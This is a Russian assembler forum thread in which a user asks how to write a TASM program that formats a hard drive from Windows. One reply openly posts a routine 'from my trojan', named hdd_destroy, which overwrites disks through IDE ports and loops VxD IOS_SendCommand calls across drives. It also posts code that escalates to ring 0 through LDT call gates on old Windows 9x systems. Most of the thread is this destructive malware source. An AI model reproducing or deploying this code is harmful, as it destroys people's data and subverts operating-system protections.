На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! Перед отправкой сообщения внимательно прочтите правила раздела!!!
1. Запрещается обсуждать написание вирусов, троянов и других вредоносных программ!
2. Помните, что у нас есть FAQ раздела Assembler и Полезные ссылки. Посмотрите, возможно, там уже имеется решение вашего вопроса.

3. Настоятельно рекомендуем обратить особое внимание на правила форума, которые нарушаются чаще всего:
  3.1. Заголовок темы должен кратко отражать её суть. Темы с заголовками типа "Срочно помогите!" или "Ассемблер" будут отправляться в Корзину для мусора.
  3.2. Исходники программ обязательно выделяйте тегами [code]...[/code] (одиночные инструкции можно не выделять).
  3.3. Нежелательно поднимать старые темы (не обновлявшиеся более года) без веской на то причины.

Не забывайте также про главные Правила форума!

Добро пожаловать и приятного вам общения!!! ;)
 
Модераторы: Jin X, Qraizer
  
> Форматирование HDD из-под Win
    Нужно написать прогу на TASM форматирующую HDD из под WINDов. Подскажите пожалуйста.

                      Алексей
    Сообщение отредактировано: vot -
      Я не уверен, что это имеено то (сам не работал), но попробуй AX=440Dh/CX=??? INT 21h (LOCK/UNLOCK LOGICAL/PHYSICAL VOLUME)......
      Только потом напиши это то, что нужно или нет....
      Сообщение отредактировано: 7in -
        Все просто вот процедурка из моего трояна....
        система такая лезем в ринг0 а потом форматим винт черз порты...

        hdd_destroy            proc      pascal
                         mov     dx,1F6h
                           mov     al,0A0h
                           out     dx,al
                           jmp     short $+2
                           jmp     short $+2
                           mov     dx,1F2h
                           mov     al,1
                           out     dx,al
                           jmp     short $+2
                           jmp     short $+2
                           mov     dx,1F3h
                           mov     al,1
                           out     dx,al
                           jmp     short $+2
                           jmp     short $+2
                           mov     dx,1F4h      
                           mov     al,0
                           out     dx,al
                           jmp     short $+2
                           jmp     short $+2
                           mov     dx,1F5h
                           mov     al,0
                           out     dx,al
                           jmp     short $+2
                           jmp     short $+2
                           mov     dx,1F7h
                           mov     al,50h
                           out     dx,al
                           jmp     short $+2
                           jmp     short $+2
        still_going_write:      in      al,dx
                           test    al,8
                           jz      still_going_write
                           mov     cx,100h
                           mov      dx,1F0h
                           rep      outsw
        KillHardDisk:           xor     ebx, ebx
                               mov     bh, FirstKillHardDiskNumber
                               push    ebx
                               sub     esp, 2ch
                               push    0c0001000h
                               mov     bh, 08h
                               push    ebx
                               push    ecx
                               push    ecx
                               push    ecx
                               push    40000501h
                               inc     ecx
                               push    ecx
                               push    ecx
                               mov     esi, esp
                               sub     esp, 0ach
        LoopOfKillHardDisk:     int     20h
                               dd      00100004h       ; VXDCall IOS_SendCommand
                               cmp     word ptr [esi+06h], 0017h
                               je      KillNextDataSection
        ChangeNextHardDisk:     inc     byte ptr [esi+4dh]
                               jmp     LoopOfKillHardDisk
        KillNextDataSection:    add     dword ptr [esi+10h], ebx
                               mov     byte ptr [esi+4dh], FirstKillHardDiskNumber
                               jmp     LoopOfKillHardDisk
                         retn
        hdd_destroy            endp

        иии мы в риг0

        ; subroutine:           call_in_ring0
        ; input registers:      ESI=offset of your FAR subroutine (i.e. RETF at end)
        ; registers modified:   flags (DF=0)
        CGS                     equ     8               ; CallGate Selector
        call_in_ring0:          pushad
                               push    ebx             ; EBX <-- GDT.base
                               sgdt    [esp-2]
                               pop     ebx
                               xor     eax, eax        ; EAX <-- LDT selector
                               sldt    ax
                               and     al, not (111b)  ; selector --> index*8
                               add     ebx, eax        ; EBX <-- LDT descriptor offs
                               mov     ch, [ebx+7]     ; ECX <-- LDT.base
                               mov     cl, [ebx+4]
                               shl     ecx, 16
                               mov     cx, [ebx+2]
                               lea     edi, [ecx+CGS]  ; EDI <-- CG descriptor offs
                               cld
                               mov     eax, esi        ; build CallGate
                               stosw
                               mov     eax, 1110110000000000b shl 16 + 28h
                               stosd
                               shld    eax, esi, 16
                               stosw
                               popad
                               db      09Ah            ; call 28:<esi>
                               dd      0               ; unused, any number
                               dw      CGS+100b+11b    ; LDT+R3
                               ret                     ; well done
        ---------------------------
        ; TO DO!!!!!!!!!!!!!
        ; entering ring0 (seh, ldt, callgate)
        на SEH можешь забить :)
        callring0:              pusha
                               seh_init
                               push    ebx
                               sgdt    [esp-2]
                               pop     ebx
                               sldt    ax
                               and     eax, not 111b
                               jz      __1_exit
                               add     ebx, eax
                               mov     edi, [ebx]
                               mov     ah, [ebx+7]
                               mov     al, [ebx+4]
                               shrd    edi, eax, 16
                               fild    qword ptr [edi]
                               call    __1_popaddr
                               pusha
                               push    ds es
                               push    ss ss
                               pop     ds es
                               call    ring0handler
                               pop     es ds
                               popa
                               retf
        __1_popaddr:            pop     eax
                               cld
                               stosd
                               stosd
                               mov     dword ptr [edi-6], 0EC000028h
                               db      9Ah
                               dd      0
                               dw      100b+11b
                               fistp   qword ptr [edi-8]
        __1_exit:
                               seh_done
                               popa
                               ret


        0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
        0 пользователей:


        Рейтинг@Mail.ru
        [ Script execution time: 0,0206 ]   [ 15 queries used ]   [ Generated: 2.05.24, 13:25 GMT ]